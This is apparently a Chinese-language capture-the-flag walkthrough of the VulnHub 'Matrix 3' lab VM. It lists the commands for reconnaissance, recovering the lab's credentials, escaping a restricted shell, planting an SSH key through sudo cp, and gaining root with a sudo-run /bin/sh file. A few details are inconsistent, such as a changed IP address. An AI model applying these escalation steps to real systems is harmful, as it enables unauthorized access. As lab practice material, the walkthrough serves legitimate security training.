一、漏洞地址
https://www.vulnhub.com/entry/matrix-3,326/
二、漏洞复现
sudo arp-scan -l
nmap -p- 192.168.159.154 --min-rate=5000
http://192.168.159.154
dirb http://192.168.159.154
---------------------------------------
http://192.168.159.154/assets
http://192.168.159.154/index.html
http://192.168.159.154/assets
http://192.168.159.154/assets/img/Matrix_can-show-you-the-door.png
猜想matrix是一个目录访问试试
http://192.168.159.154/Matrix
在Matrix/n/e/o/6/4/目录下发现一个secret.gz文件,应该是一个提示
wgethttp://192.168.159.154/Matrix/n/e/o/6/4/secret.gz
cat secret.gz
得到用户名和密码:
admin:76a2173be6393254e72ffa4d6df1030a
MD5解密
admin:passwd
http://192.168.159.154:7331/
使用kali下的dirb工具爆破目录及文件,发现assets、data目录
dirb http://192.168.159.154:7331/ -u admin:passwd -w
http://192.168.159.154:7331/data/
http://192.168.159.154:7331/assets/
http://192.168.159.154:7331/robots.txt/
http://192.168.159.154:7331/index.html/
wget http://192.168.159.154:7331/data/data --user=admin --password=passwd
查看data文件的文件类型,是一个Windows下的文件,但是在这里遇见了问题,没有找出data文件中隐藏的内容
使用IDA Pro反编译data文件找到了guest用户及密码
guest:7R1n17yN30
ssh guest@192.168.159.154 -p 6464
但是我们得到了受限制的 bash (rbash) shell,所以我们使用 –t 选项来运行带有 noprofile 扩展的 ssh,我们得到了来宾用户的完整 shell。
通过检查来宾用户的 sudo 权限,我们了解到该用户可以使用另一个用户三位一体的权限运行 /bin/cp。
ssh guest@192.168.1.104 –p6464 –t "bash --noprofile"
sudo -l
为了提升为更高权限的用户,我们所做的是创建了一个新的 ssh 密钥对,授予对 id_rsa.pub 文件的读写执行权限,以便我们能够将其复制到目标位置。
ssh-keygen
cd .ssh
chmod 777 id_rsa.pub
然后我们利用 sudo 权限将 id_rsa.pub 文件复制到 /home/trinity/.ssh/authorized_keys 文件夹中。现在,我们可以使用 id_rsa 密钥通过三位一体用户访问目标机器的 ssh。
检查三位一体的 sudo 权限,它可以使用 root 权限执行预言机文件。
cp id_rsa.pub /home/guest
cd ..
sudo -u trinity /bin/cp ./id_rsa.pub /home/trinity/.ssh/authorized_keys
ssh trinity@127.0.0.1 -i /.ssh/id_rsa -p 6464
sudo -l
但是 /home/trinity 目录中没有名为 oracle 的文件,因此我们使用 echo 命令创建了一个包含 /bin/sh 的 oracle 文件。最后,我们用 sudo 命令执行了 oracle 文件,我们得到了 root shell。
一旦你有了根 shell,你就可以很容易地得到标志。
echo "/bin/sh" > oracle
chmod 777 oracle
sudo ./oracle
id
ls
cat flag.txt